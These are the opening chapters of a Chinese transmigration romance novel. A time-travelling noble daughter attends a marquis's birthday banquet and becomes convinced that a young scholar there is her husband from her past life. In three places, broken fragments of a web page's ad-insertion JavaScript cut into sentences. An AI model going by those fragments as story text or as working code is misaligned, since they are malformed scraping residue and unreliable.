《我的两位穿越夫君》 1. 第 1 章 大周,昭宁五年暮春,皇城毅勇侯府御赐宅院里热闹非凡,仆妇丫鬟们忙得脚不沾地,盖因今日是毅勇侯夫人谢氏四十岁生辰寿宴。 一辆高大宽敞青色绸布马车驶进毅勇侯府内院,在仆妇引导下缓缓停车,等候一边的毅勇侯府丫鬟们疾步上前伺候。 车内,林蓁双手交握在袖内置于膝前,她垂眸看着自己的衣袖,视线并未因马车停驻而飘忽。 确实好颜色,嫡母陈氏看了林蓁一眼,内心不得不承认这庶女长得就是比亲闺女俊俏,但那又怎样,在她这里庶女就不能越过嫡女去。 瞧她这乖顺模样,陈氏略微放心,启口再次叮嘱。 “等会跟着你妹妹即可,莫要多走多言,夫人们若问起话来,照我说的答便是”。 “是,母亲”,林蓁顺从点头。 林蓁极有自知之明。生母早逝,长到如今十七岁,跟着陈氏出门的日子一只手都数得过来,若不是今日要给她相看人家,这毅勇侯夫人的寿宴可轮不到她来。 她不禁忆起出门前父亲的叮咛,叫她放心,这次说亲对象是户部员外郎杜大人的嫡子,员外郎虽只是从五品,但杜大人只有这一个嫡子,且家风极正,只待杜夫人相看过她,杜家就会上门提亲。 林蓁明白,这是她现下最好的亲事,出不得差池。 当初她父亲心高,见她生得好不仅不甘她嫁于庶子,还想找个和英国公府门当户对的出身,不过林蓁心里明镜似的,这只是父亲的一个美梦罢了。 她胎穿到这个历史上并不存在的时空,算上上辈子的年纪,有近四十岁的人生经历,这深宅大院里的暗流,她怎会看不明白? 父亲林若柏是大伯英国公林若松的一母同胞弟弟,没有爵位承袭,志大才疏家族蒙荫在礼部担个闲职,若不是祖母尚在并未分家,怕是这礼部闲职也没那么容易得。 她怎可能指望天上掉下馅饼,世家大族的嫡子会看上她的出身。 便真有只爱美人的恋爱脑世家大族嫡子,她的大伯母她的嫡母,定会心有不甘暗暗把这姻缘搅散了去,她怎能凭一张脸就好过嫡姐嫡妹们呢。 林蓁没想过去争,她所见到过的这个时空里的男人父亲大伯哥哥们,亦都算得上德行好品貌正,各个都是妻妾通房一堆女人在屋里,想必这个时空里的男人大多半斤八两,不知是阿猫阿狗的男人不值当去争。 父亲为她亲事颇多费心却总不能成,若不是祖母在大伯母嫡母面前发了话,她的姻缘还不知蹉跎到何时。 林蓁心里叹了口气,又听陈氏叮嘱嫡妹林葳:“你姐姐出门少,你要顾着她,莫失了我们英国公府的体面,让人笑话”。 垂着的眼皮微微颤了颤,林蓁明白嫡母的意思,今日寿宴林葳未来婆母也在,林葳未来公公是户部侍郎张大人,若论父亲官职大小林葳算是高嫁,自己若出丑黄了亲事没关系,影响到林葳可不行。 当下林葳应着,陈氏还想说什么,明媚光线倏地耀进车内,马车门帘已被丫鬟撩开,毅勇侯府丫鬟们在车外齐声行礼问安,陈氏收了声扶着丫鬟的手下了车。 林葳紧跟着母亲钻出车帘,待林蓁站稳在马车边时,陈氏林葳由丫鬟们领着已和她离了好几步。 林蓁抬眸,目光淡淡扫过眼前。 毅勇侯府白墙簇新,阳光耀得青瓦金亮,檐廊新漆光可照人,丫鬟们颜色纯真毫无城府算计,显示着这个家庭的新贵。 周遭佳木茏葱绿柳周垂,申时阳光温暖明媚,天空一碧如洗,空气中若有似无飘荡着这个季节特有的淡淡花香,香甜气息沁人心脾,几只鸟儿掠过林蓁的视线,她的心情莫名好起来。 视线扫过各式马车,自家绸布马车高大宽敞已是不凡,可对比院内雕花贴金在阳光下闪闪发亮的各式马车,这青绸马车实在太不起眼。 户部员外郎杜大人的妻子会乘坐哪一辆马车呢,眼前马车没有差于青绸马车的。 心情忽的轻松,这门亲事确如父亲所说,让她放心。不久的将来,她会远离十七年来各种暗中排挤打压,到一个关系简单的新天地,这真是件高兴的事。 “林家小姐,这边来”,马车边站着的毅勇侯府丫鬟招呼着杵着不动的林蓁。 林蓁收回视线看向前方,正好对上林葳回头望向她的目光。 林葳嘴唇轻轻动了动,未发出一丝声音,林蓁却读懂了她的意思,目不旁视方才是她们这样女孩子该有的仪态。 林蓁淡淡一笑,迈步向前。 走过长长抄手游廊,隔着闪烁五彩光芒的窗棂,后院正厅里云鬓蛾眉若隐若现,未及入厅,贵女们衣裙上的熏香便飘进林蓁鼻腔。林蓁垂首,目光看着前方林葳的裙裾,跟着她的步伐迈进了正厅。 视线所及各式颜色鲜亮裁剪精美绣花繁复的裙裾,耳边传来嫡母和各位夫人寒暄的声音。陈氏让丫鬟呈上贺礼,又叫林葳向谢氏祝寿向夫人们问安,在夫人们夸赞声中,陈氏笑着向众夫人介绍林蓁:“这是我家三姑娘林蓁,自小记在我的名下,害羞,便带她出来的少”。 林蓁向前迈了一步和林葳平齐,垂首向主位上今日寿星毅勇侯夫人谢氏祝寿。 毅勇侯夫人谢氏点点头,笑赞道:“免礼,林三姑娘好颜色,陈夫人可真会养女儿”。 陈氏笑着回应:“谬赞”。 林蓁垂首默立在陈氏和林葳身边。 谢氏便命丫鬟去取礼物。不过眨眼功夫,丫鬟端着描金红漆盘走到林蓁面前,林蓁双眼登时瞪得圆了。 一只未有任何雕琢温润白玉手镯在红漆盘里透着莹莹光泽,光华照人,朴实又华贵。 林蓁看向林葳,她却没有。 谢夫人笑道:“林三姑娘初次到我府上来,这小玩意拿去玩罢,你妹妹第一次来时也有的”。 林蓁抬眸,第一次认真看了看谢夫人的脸。 谢夫人今日四十寿辰,可若单看相貌却是年轻又貌美,身材亦是苗条中透着丰腴,最多不超过三十来岁,不仅相貌衣着透露出她生活优越惬意,她的神情神态也让人极其舒适。 她微微笑着看着林蓁,眸光温柔得像观世音菩萨,仿佛这只贵重的白玉镯子真就不过是个小玩意,搏人一笑而已。 这样的善意从哪儿来呢,送给素昧平生以后也未必再见的自己?林蓁目光看向嫡母陈氏,没有伸手拿的意思。 谢夫人笑着对林葳道:“葳儿,你也有过的,是不是?让你姐姐拿着罢”。 林葳笑道:“是,谢夫人对我们这些年轻姑娘极好的”。 心内却腹诽,她初来毅勇侯府时得过一个金坠子,那时亦叹谢夫人豪气,可那金坠子怕是连这个白玉镯子的零头也比不上。难道人生得相貌好,便处处占着便宜吗。 陈氏亦觉怪异,谢氏虽豪气,可她俩交情不过近几年的事,但今日谢氏寿宴,就当毅勇侯府阔气,给英国公府面子,在她的眼神示意下,林蓁收下玉镯,再次向谢夫人道了谢。 谢夫人笑道:“你们年轻姑娘们去园子里玩罢,我这家里就园子里值得看看”。 又命丫鬟带路:“小姐在园子里,让小姐好生招待姑娘们”。 林葳林蓁向众夫人们行了礼,林蓁跟着林葳正要出门,衣袖却被陈氏悄悄拉了一把。 林蓁看过去,陈氏低声道:“随我来”。 却是把林蓁领到杜夫人面前。 不过是问声好,林蓁的脸却刷一下红了个透。 杜夫人是位面色慈祥的中年妇人,她笑看着林蓁道:“好孩子”。 从林蓁进门,杜夫人的目光就未离开过她。这屋子里的姑娘们各个出身高门大户,长得一个晒一个的水灵,然而林蓁进门,宛若明珠曈曈,这些水灵灵的姑娘们顿时失了颜色。 不仅颜色好,举止仪态亦规矩知礼,这会儿近看,林蓁目光纯净不似心思深沉,杜夫人很满意,好赖也是英国公夫人的侄女,若林蓁有更好出身,英国公夫人的眼睛也落不上她家了。 陈氏微笑附和:“自小我养着,大门不出二门不迈性子娴静羞涩,确实是个知书达礼的好孩子”。 这话陈氏说得真心实意,左右杜大人寒门出身没什么家族背景,如何也越不过亲闺女林葳的婆家,且这桩亲事早点定下来,林葳作为妹妹也可以顺利出嫁了。 杜夫人笑道:“我本也准备了见面礼,但谢夫人豪气,我的拿不出手了。不过,改日给林三姑娘府上送更好的”。 这便是定了的意思。 林蓁脸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上的红刚刚褪了些,听着这话红绯重新上脸,两辈子没相过亲,相一次婆母就成婚,这就是古代士族女子的宿命。幸看杜夫人做派直来直往,应该不难相处,她的孩儿想必亦如是。 这个时空这桩亲事,也算完满。 尘埃落定,林蓁迈出厅门时身轻如燕。 抬眸望了一眼天空,云淡风轻,正是春日好时光,林蓁心中松快了那么一瞬,随即却涌出一丝酸涩,不知不觉浸濡十七年,她竟然会为嫁于一个素昧平生五品官嫡子而开心雀跃了。 一时诸般滋味,思绪万千。 她曾是顶级大学法学高材生,毕业就进入全国最好的律所,她曾有最好的男友,他出国求学前向她求婚,她甜蜜答应,可领证当天一场车祸让她穿到了这里。 不幸又幸运,这个时空亦有女子读书做官,她穿越到世家富贵,读书不是问题,可在鼓足勇气向父亲表明做官志向后被中止了家塾里的学业。 无他,这个时空的贵女不会做官,考学的女子或是寒门出身或是孀妇或是矢志不渝终身不嫁,她的家族不会允许如此。 而且,她得考虑一母同胞感情深厚的弟弟。弟弟天资聪颖,家族对他有极大期望,她的好歹她的名声都会影响弟弟,这也是祖母为何催促她亲事的原因,若她嫁得太差,以后会拖累弟弟。 她的夫君会是五品官嫡子,作为庶女她应该愉悦,此时此刻却再没心情,亦谈不上悲伤,毕竟上辈子的记忆,一时心中空荡荡,似乎人生已看到尽头,随时可画上句号。 林蓁跟在林葳身后,眼神空洞,神游天外。 林葳突而转身,指着远处凉亭道:“我想去那儿,你要去吗?” 林蓁差点撞上她,眼神这才聚光,顺着她指的方向看去,凉亭里好些年轻姑娘,叽叽喳喳兴奋地聊着什么。她本来无可无不可,按照嫡母嘱咐跟着林葳便是,可林葳突有此问,便是明示不想她跟着。 这若大园子满目苍翠,实没必要跟着林葳亦步亦趋,林蓁回道:“这园子好,我随意逛逛去”。 当下两人分开,林蓁亦不要丫鬟跟着,自己漫无目的在园子里闲步。 林葳到了凉亭,和众位姑娘打招呼,毅勇侯府掌上明珠时姝问道:“和你在一起的姑娘是谁?她怎么不过来?” 林葳解释:“是我三姐姐林蓁,她第一次来,想逛逛园子”。 林葳自小和林蓁气场不和,母亲私下里总叫她争气,她是嫡女却处处拿来和庶女比,偏又常常比不过,就譬如毅勇侯夫人谢氏给见面礼,林蓁得的玩意就比她的好太多。 这会林蓁若来凉亭,林葳可以预见话题必在林蓁身上,可她还想和未婚夫的妹妹好好说说话呢。 时姝远眺过去,林蓁一抹淡黄衣裙孤零零越走越远,渐渐掩在绿荫中,想到今日母亲寿辰,父母哥哥们都反复交代不要怠慢了这些贵女,便向众女道:“你们且聊,我去叫她来玩”。 林葳待要开口阻止,时姝已出了凉亭,径直去了。 毅勇侯府的园子极大,是将三路宅院中的东路宅院拆得七七八八,除了植树造景又叠山引水,一年四季均有佳景。 时姝熟悉这园子每一处,她穿过园子中间的水榭,很快看到岸边不远处的柳树下,静静站着一位黄衣少女。 少女左手扶着粗壮柳树树干,身子微微倚靠,她的面貌渐渐清晰,玉盘似的脸蛋上眉如弯月,唇似红樱,特别是一双杏眼胜过琉璃明珠,虽在树荫下仍闪着水光亮晶晶的。 好个般般入画的美人,时姝心里暗赞,她快步走向林蓁,正欲开口唤她,才发觉那亮晶晶的双眸蕴满泪水,一颗颗珍珠般眼泪接连从她玉似的面颊上滑落。 无声无息,一滴一滴,润湿了她裙琚下的泥土。 她的神情呆呆的,眼睛一眨不眨,红樱微微发颤,哭得悄无声息,哭得双眼泛红,似有无尽委屈伤心事,恁是时姝年轻女孩儿看了都我见犹怜,想上前为她拭一拭眼泪,搂进怀中好生安慰。 时姝心中生出一丝恼意,是谁!让大美人在母亲生辰上受委屈! 环顾四周,一个人也没有,安静得能听见花瓣飘飘扬扬落水的声音。 她愣了亦更气了,谁如此狠心,弄哭大美人就跑了! 2. 第 2 章 林蓁做梦都不曾想到,在她心下黯然已接受会有一位五品官嫡子的夫君时,她的人生突然有了色彩,五彩斑斓,让她心颤,让她狂喜。 在这毅勇侯府说大不大说小不小的园子里,她看到了飞飞,她前世男友,不,不只是男友,他俩是夫妻,领证后吃过中饭,租车去附近城市游玩时出了车祸,结婚证还没揣热乎。 她穿到这个时空后,无数次想过同一个问题,她和飞飞在同一辆车上同时遭遇车祸,她穿来了,飞飞会不会也来了呢。 曾想过寻找,可一来这个时空高门待嫁女子受到诸多限制,二来她是胎穿,模样和前世完全不同,飞飞若和她一样胎穿,便是面对面也无法相认,年岁渐长林蓁慢慢淡了寻找的心思。 可冥冥中自有天意,把自己装扮得温良贤淑在毅勇侯府像菜摊上的白菜等待贵妇人的挑选,却在亲事临门一脚遇到了飞飞,杜夫人甚至连见面礼也未给出手,毅勇侯府简直是她的福地。 林蓁快被巨大的惊喜砸晕了,扶着树干才稳住身形,隔着长长云.墙,透过墙上镂空花窗贪婪看着远处,一群年轻贵族公子中飞飞拔群出萃,一眼就能看到他,玉冠束发,身着月白襕袍,温润清俊,和前世没有丝毫不同,脸上带着淡淡笑意,一看就知道还是那个好脾气爱玩乐的他。 十几年来刻意压在心底的前世记忆,此刻潮涌般冲进脑海,林蓁看着飞飞,想起他俩曾经的烦恼欢笑,曾经的理想憧憬,曾经见长辈的忐忑不安,曾经的海誓山盟,甚至曾经去过和这个园子差不多的苏州园林的游玩……不知不觉泪流满面。 还好,一切来得及,正正好。 “林三姑娘,谁让你受委屈了?”甜美悦耳的女声响在耳畔,林蓁回过神,面前站着一位美貌少女。 发髻乌黑亮泽,别着一朵特别鲜艳含苞欲放的红玫瑰,喜庆的粉色襦裙水般光泽,日光透过树叶落在她肩膀精美的刺绣上微微晃动,那绣花上的蝴蝶宛若要飞起来,衬得她像一位迷人精灵。 林蓁满脑子都是飞飞,一时反映不及呆看着时姝哑口。 时姝笑着鼓励道:“我是时姝,谢夫人是我母亲,谁在这园子里让你不痛快了?告诉我替你出气!” 她试探着猜测:“是林葳?她不高兴带你玩?” 林蓁不禁莞尔,时姝要替她做主的模样实在可爱,让她不由联想到她发间那朵玫瑰,时姝就是那朵最迷人带着小刺的艳丽玫瑰。 林蓁一笑,时姝惊道:“你有酒窝,你笑起来真好看”。 林蓁笑意更浓,意识到脸上湿漉漉的,拿出绣帕一边擦拭一边解释:“时姑娘见笑了,我遇到一位故友一时感伤”。 “故友?”时姝不解,这周围一个人影也没有。 林蓁心下一动,伸手指向云.墙上镂空花窗,对时姝道:“那边那位身着月白襕袍的公子就是我的故友”。 毅勇侯府的园子由东路宅院改建,这长长云.墙左右两端各有一个月洞门,隔着的另外一边是原来东路宅院中的前院,拆了大部分建筑后种植了大片低矮花草,留下巨大空间给毅勇侯时世诚和两位公子每日操练使用。 时姝从花窗看过去,二哥时隽此刻拿着把大刀舞得虎虎生风,他在前院空旷园子里飞来跃去,周围一堆他的熟人好友看热闹,哥哥时彦也在其中。 时姝一阵头晕,只觉时隽如狼奔豕突。全皇城都知道她爹泥腿子出身,这些年已经被她娘改造得大好,可家里就二哥有反骨似的,武将陋习一个都不落。明明爹娘都叮嘱过,他也知道今日园子里有女眷,还带着一帮男人在园子里切磋,这云.墙上的两个月洞门都大开着呢。 时姝只恨手里没有弓,她定然一箭射过去。 见时姝皱着眉咬着唇,林蓁手指镂空花窗再次强调:“就那个白净的公子,我和他过去熟识,好多年未曾再见,他可能不认得我了”。 穿月白色衫袍的男子好几个,可皮肤白净的只有一人,时姝恰好极为熟悉。那是她爹过去上峰辅国大将军方继中的幼子方怀简,他未像父亲走武官之路,不过虎父焉有犬子,他是前几年殿试榜眼,这文官气质和做派在一群武夫中特别亮眼。 可时姝听母亲提过,方怀简是方将军夫妇老来得子,方将军夫人舍不得幼子练武,在他幼时就送回老家读书,躲避方将军的荼毒,一直到快参加乡试才回皇城。 林蓁怎么可能和方怀简认识多年呢,若幼时相识,儿时一段短暂时光会让林蓁泣下如雨? 时姝看着方怀简,疑惑问:“是那个笑着的公子么?” 林蓁目不转睛看着飞飞,他和前世一样,总是个笑笑模样,有点儿玩世不恭的样子,其实他对待自己热爱的东西极其认真。 她盯着飞飞,点点头肯定:“就是他!” 心里想了又想,目光转向时姝时,林蓁坚定伸出手拉住她衣袖,小小声音恳求道:“时姑娘,你能帮我唤他过来,我有几句话对他说”。 “啊——” 时姝惊讶到不可抑制喊出了声,扭过头目光对上林蓁刚刚哭过还是通红的眼睛,“啊”的声音却小到了肚子里,徒留合不拢的嘴对着她。 时姝没有直接回绝,林蓁便知道她应该认识飞飞。 林蓁拽紧时姝衣袖,泪盈于睫:“求求你!我想见他!” 大美人对着自己梨花带雨,时姝顿时软下心又有些犯难,她似问林蓁又似自言自语:“怎么和他说啊”。 这个朝代没那么多男女大防,男女私下说上几句话没什么,可现在前院园子里一堆血气方刚年轻男人,这样当众把方怀简一人叫过来说话,时姝纵是武官家庭出身没那么多规矩,也有些害羞做不出来。 而且,时姝还有极其私密的顾虑。方怀简和二哥时隽年岁相仿,是自小认识的绾角兄弟,两人特别要好频繁你来我往,和时姝一家人极其熟识,方将军夫人曾向母亲打听口风,希望时姝做儿媳妇的意思,后来各种原因作罢。以后时姝对方怀简就避讳许多,这会儿她怎好单独叫他。 林蓁眼泪在眼圈里打转,她抓着时姝衣袖不放,声音中已带着哭腔:“求求你,就几句话”。 她哀求个不停,不仅眼圈泛红,连脸颊鼻尖也起了点点红绯,时姝哪里见过软妹子玉惨花愁,她素像父亲哥哥们仗义,没等林蓁哀求几句就彻底软了下来,四处张望道:“我想想办法”。 时姝东瞧西看了一会儿,园中碧潭中央水榭里等会有百戏,里面有人在做准备,有丫鬟们跟随布置。时姝看到水榭里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 走出来一个丫鬟,她赶忙跑到水边,隔着碧潭向丫鬟招手示意,丫鬟随即提着裙琚小跑了过来。 “你去云.墙那边把大公子叫过来,我找他有事”。 丫鬟答应着要离开,时姝添上一句:“让大公子把方公子叫上”。 这府里因为时隽方怀简友好,人人都知道方公子是谁,丫鬟没有多想,转身往云.墙月洞门走去。 时姝林蓁缓缓跟在丫鬟身后,待丫鬟穿过月洞门继续向前走时,时姝林蓁停在了月洞门边,站在了云.墙后。 等了稍息,时姝在月洞门边微微探出头,丫鬟和哥哥时彦正在说话,时彦往月洞门这边望了一眼,时姝满意地缩回了身体,音色清脆:“他们要过来啦”。 一时间林蓁的心无法自控砰砰乱跳,她靠着云.墙看着远处水榭,微微吐气调整着气息,飞快思索着如何向飞飞开口让他迅速认出自己。 时间似乎很漫长又似乎转瞬,一道清冽男声响起:“姝儿,你有何事?” 时姝和林蓁同时站直身体,齐齐看向月洞门。 飞飞跟着一个年轻青年,跨过月洞门便驻足,离林蓁就几步距离。 林蓁的目光瞬间黏在飞飞脸上。 “二哥在那儿狼奔豕突,哥哥怎么看起热闹不管着他?这水榭上要表演百戏,等会园子里全是女眷,大家都要笑话我们家泥腿子了!” 不等时彦回应,时姝又转向方怀简:“方二哥,你是我二哥最知礼守仪的朋友,怎么不劝他,还饶有兴致看他耍?” 方怀简与时彦对视了一眼,表情颇有些无奈。 不久前毅勇侯时世诚擢升为金吾卫大将军,负责整个皇城安全护卫,今日谢夫人寿宴,男宾上门祝寿者极多,实则为和毅勇侯拉近关系。方怀简知道园子里可能有女眷,但不知园子里安排了百戏。且时隽就那样一个性子,学了新东西就想找人切磋,有人提点他就高兴万分,今日如此多男宾,他可不会错过这种机会,演示一套刀法其实花不了多少时间,他们本来也要散了。 时彦并未言语,目光不着痕迹扫过林蓁。而林蓁心思都在方怀简身上,根本没注意周围是谁有人说了什么,她目光灼烫得方怀简不适,只得刻意忽视,微微垂眸,看着地上芳草青青。 一时间周遭寂静,时姝似乎听到云.墙那边有脚步声,她并未多想,向两位公子介绍林蓁:“哥哥方二哥,这是英国公府林三姑娘林蓁”。 时彦:“林三姑娘”。 林蓁没有反应。 见林蓁黏在方怀简身上的目光,时姝大力扯了把她的衣袖,大声道:“这是我哥哥时彦”。 “时公子”,林蓁视线落在时彦脸上一息就又回到方怀简身上。 时姝无奈,不过哥哥本就工具人这会儿不重要,她看向方怀简:“方二哥,林三姑娘说过去和你熟识”。 方怀简这才抬眸看向林蓁,只对视了一瞬,心里就似被她毫无顾忌的目光烫了一个洞,不可思议地一阵颤痛。 从未有女子如此看他,他亦未曾有过这般感受。 方怀简急忙转移了视线,脑海里浮现林蓁过目难忘的出挑模样,确信自己从未见过,他垂首行礼道:“在下方怀简,林三姑娘是不是认错了人?” 3. 第 3 章 林蓁的目光早已把方怀简描摹了千百遍。如此近距离看他,他的身高,他的身材,他的皮肤,他的表情,都和记忆中的飞飞分毫不差。 描摹着他的眉眼,她心里酸酸麻麻,仿佛有颗种子在心里乱拱着,想破土而出。 她恨不能上前紧紧拥住他,将头深深埋进他的怀里,感受他的气息,让她真真切切体味这一切都是实实在在的,飞飞真的在这里,他来了,在这里陪着她。 可飞飞开口说了话,他说她认错了人,然而他的声音都未曾改变。 他怎可能不是飞飞呢。 她怎可能认错自己的爱人呢。 强抑着眼泪,林蓁道:“没有认错,我变化很大,不容易认出,可你”,她声音有些哽咽,“你一点儿变化都没有”。 就像时空飘移,除了空间发生变化,眼前的飞飞真是一点儿没变。如同车祸发生瞬间,他就来到这里,而自己磋磨十七年,变化太多。 不过老天待她不薄,在另一个时空他俩双双殒命,可在这里他们可以再续前缘,他俩曾经的愿景他俩曾经的渴盼,他们很年轻,有漫长的一生去携手实现。 这里不会有车祸,她在这儿一直在学中医,这一次他们可以白首不分离…… 心中的种子破土而出,在春风中在阳光下舒展开嫩嫩的叶子,对这个世界充满了好奇,林蓁已经想到了他们多年后依偎相拥的情形,此时此刻她满心希望和期待。 她停了一息,眨着眼睛声音发颤:“像不像一场很长的梦,cosplay得很满足,你曾经很喜欢”。 方怀简抬眸再次看了林蓁一眼,没明白她在说什么。 时彦站在一边,微不可察抿了抿唇。 见方怀简一脸茫然,时姝急道:“方二哥,你好好想想,是不是幼时朋友?” 林蓁看着方怀简的面庞,他回避着自己的目光,就像当初他们刚刚认识那会儿一样,他不敢看她,对着她说话都不自然,磕磕巴巴。 林蓁红着眼圈抿紧发颤的嘴唇微微一笑:“飞飞”。 方怀简没有动静。 尽管拼命眨着眼睛,林蓁眼眶还是滚出一滴眼泪,“飞飞”,她声音大了些又重复了一遍。 林蓁再也忍不住,眼泪像断线的珠子啪啪啪滴在草叶上,草叶颤动着,水珠复滚落进泥土里消失不见。 方怀简眼前草叶乱颤,片刻后他抬眸,脸上挂着礼貌带着些许歉意的微笑:“林三姑娘,在下的确对姑娘毫无印象”。 泪水哗哗淌下,眼前飞飞的模样逐渐模糊。 在说出cosplay的时候,方怀简没有反应,林蓁就猜到他没有过去的记忆。飞飞是游戏cosplay狂热爱好者,每年沪城漫展他都会精心准备一番去观展,林蓁为他拍了无数照片和视频,亲眼见证大家对他cosplay角色的喜欢,林蓁自己也从无感到慢慢喜欢上。 他不知道cosplay,甚至不再记得飞飞的名字,林蓁刚刚高兴的狂热劲消逝了大半,要怎样做才能让飞飞想起来呢。 “你们在做什么?”铿锵有力的年轻男人声音打破了此刻平静,时隽手握长刀出现在四人眼前。 丫鬟越过月洞门把人叫走时,时隽的刀法演示已经结束,和武官朋友们探讨了一会儿没等到人返回,他让仆从把朋友们引回中路正院,自己过来看看情况。 就见四人安安静静站着,好友方怀简窘迫地低着头,那么大只的一个大男人竟像妹妹时姝养的一只做错事的小仓鼠,一个美人在他面前默默无声哭得泪人儿般。 方怀简这般模样时隽可是头一遭碰见,他摸不着头脑亦很有些吃惊,方怀简极为洁身自好,时隽宁愿相信自己醉酒误事招惹什么姑娘也绝不会相信方怀简会干出这种事,他一头雾水,问兄妹俩:“怎么回事?” 时姝看着时隽的长刀瞪了他一眼,看向林蓁的目光满是心疼。 林蓁此刻模样和时姝刚刚见到她时没什么两样,时姝难以忍受美人落泪,她微微扶住林蓁的肩膀,柔声劝慰:“这有什么可哭的,方二哥不记得,可你记得呀,你可以和他说,多说说以前的事,方二哥可是榜眼,记性好着呢,你多说说你们小时候,他肯定能想起来”。 林蓁不语。 时彦深深看了一眼林蓁,转头看了看水榭方向,他盯着弟弟手中长刀吩咐:“那边百戏准备得差不多了,我们快走吧”。 方怀简如蒙大赦,也不和两位女孩儿告辞,跟着两兄弟转身要走。 “等等!” 担心方怀简急走,林蓁抢身一步一把抓住他的手腕。 方怀简已迈开了一步,这会儿手腕被林蓁拉住,他对着月洞门走也不是,不走也不是,尴尬看了一眼手腕上林蓁的手,目光看向她,示意她放开。 林蓁面色平静,脸上泪痕像一条小溪,水汪汪眼眸中目光坚定,她坦然迎着方怀简不解的视线,手上力道还紧了几分。 “我们”,林蓁抓紧方怀简的手腕,声音温柔平和,像妻子对丈夫的柔媚絮语,她顿了顿:“何时你听我说我们以前的事?” 仨兄妹惊呆了。 时姝赧然得脸都红了,尴尬得目光都不知道该看哪儿。人是她叫来的,林蓁这样出格举动,她以后如何面对方怀简! 此时方怀简心若明澈,林蓁这番举动,谁还能不明白。 他确信自己从未见过林蓁,他倒是见多了对自己心仪的女子。自他回皇城后就有人上门说亲,中榜眼后,牵线搭桥的人频繁得让父母都烦了。各种各样芳年女子各式各样手段,他见识海了去。 这其中林蓁最美,行止最邪行。 再违世异俗的女子,总要拿块遮羞布虚虚实实掩着,或者茶水不小心洒在方怀简身上,或者踩到石子不慎崴脚,或者多带了什么物什顺手送给方怀简解困,不一而足,再有胆大当面递情诗抒发爱意的,也是说完就羞着脸跑走。 林蓁是第一个没说上三句话就直接上手的女子,脸不红心不跳,眼神澄澈。 她面上柔柔弱弱女孩儿,握住自己手腕的劲道却大得惊人,这会儿方怀简手腕上竟有痛意,见她没有放手的意思,两人对峙的片刻,在这和煦暮春的潭边 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 方怀简后背居然出了汗,一滴汗珠顺着他的脊背缓缓流向他的腰身,那轨迹他清晰可辨。 方怀简是读书人,做不来触碰林蓁拉开她的举动,他看向时姝,投以求助的目光。 林蓁目注心凝,此刻再次温软开口:“后日,后日我来找你?” “后日”。 不知怎的方怀简声音有些弱音,时姝没听出来他到底是肯定还是疑问。 但林蓁顺着他的话应道:“嗯,后日,君无戏言”,不过她仍未放手。 林蓁不想放,她实实在在抓住了飞飞,感受着他肌肤的温热,脉搏的激荡,他俩靠得那样近,她真实体味着他和她之间的牵绊,甚至能闻到他的气息。他的气息和以前不一样,带着这个时空文人身上的淡淡熏香,但她一如前世很喜欢。 如果可以,她希望两人的手可以一直这样牵下去。 “姝儿”,时彦唤时姝,眼神示意。 时姝挨近林蓁一步,手指轻搭在林蓁手背上,温声劝道:“我二哥还拿着刀,别惊着夫人们”。 林蓁叮咛方怀简:“别躲我”。 方怀简没看她,垂首点头,只想她快点放开。 “方二哥应允了便不会反悔,让他们走罢”,时姝的手指轻轻扒拉着林蓁的手。 林蓁终是放开了手,她无限渴望和飞飞贴贴,可也知道不可能在这里。 手松开的一瞬,方怀简如释重负,逃似的跟着时家两兄弟迈进月洞门,闪身绿荫中。 林蓁站在月洞门边,看着方怀简身形消逝才转身。 时姝和她一齐回转,迎面不由自主抽了一口凉气。水榭边游廊上站着一众贵妇,各个瞪大眼睛看着月洞门这边,尤其是自己母亲谢夫人,站在最前面,目光如炬。 “她们”,时姝的脸泛起红晕,“不会看到了吧?” 林蓁看向游廊上众人,谢夫人没再停驻脚步,带领众夫人走向正对着水榭的看台,离她俩越来越近,嫡母陈氏脸色明显不好。 林蓁情绪没什么波动,有什么关系呢,她找到了飞飞,以后和飞飞在一起,什么都不再畏惧和担心。 她没有回应,只轻轻拉了拉时姝衣袖,两人亦往水边看台走。 时姝犹豫了半晌,终是问道:“以前和方二哥很熟吗?” 许多女子爱慕方怀简,会找各种借口接近他,时姝没有怀疑过林蓁的哀伤,但刚才情形实在是—— “认识,认识很久很熟”,林蓁答得丝滑,没有丝毫犹豫,“你说得对,我会让他想起来的”。 时姝面上没什么表情,心下大大松了一口气,她不觉林蓁伪装,可她真害怕自己的善心结为恶果,最终被众人追着骂。 两人快步到水边看台,她俩本就长得拔尖儿穿得又是鲜艳颜色,刚刚月洞门那儿还有三个高头大马年轻公子,发生了什么生生撞进漫步过来准备看百戏的众女眷眼里。 各种状若无意的目光便在两个姑娘身上飘来荡去,林蓁突然想到一件要紧事,她看向时姝,语气中有些不安。 “方怀简,他没家室吧?” 4. 第 4 章 坐在角落绣墩想着心思,林蓁看似专注看着百戏,不过一个躯壳搁在这儿。 知晓方怀简和自己一样尚未定亲,林蓁如同吃了定心丸,在彼此毫无负累时老天让两人重逢,他俩重新在一起就是天注定。 周遭不断冒出粉红泡泡,在自己粉红世界里,和飞飞做什么都开心,心中浸在旖旎柔情满心欢愉,脸上神色亦透出不自知的粉彩。 唯一担心的是飞飞没有过去记忆,但林蓁并不焦虑。她出生时亦无穿越前的印记,在开始记事的稚子年纪,有一次掉进家中池塘,被捞起后高烧了好些日子,就是在那段时间另一个时空记忆云起水涌,不可抑制从此占满心头。 时至今日谁也说不清那日她如何掉进池塘,自小照顾她的云娘怀疑嫡母陈氏使坏,但时日遥远无从追究,林蓁内心倒觉得是件好事,更不以为意。 林蓁暗暗思索如何唤醒方怀简沉睡的记忆。 陈氏盯着水榭上戏台脸色铁青,众人看到月洞门前拉扯后,杜夫人便回避她的目光,这倒是其次,陈氏本没多在意林蓁亲事如何,可看到未来亲家户部侍郎夫人那闪烁疑惑目光,想到自己在众位贵妇面前亲口说出“林蓁自小记在我名下抚养”,陈氏心里恨得怄血。 “我儿不是他小叔,无法望其项背,你知道的,爱慕他小叔的女子如过江之鲫,主动拉扯纲常扫地的女子亦不鲜见,我婆母为眼花缭乱而烦恼,我恰是相反”。 一女子高声阔论落入陈氏耳里,陈氏瞥了一眼,说话者是方怀简大嫂朱氏,论年纪她比毅勇侯夫人谢氏小不了几岁,大儿子亦到了议亲年纪。 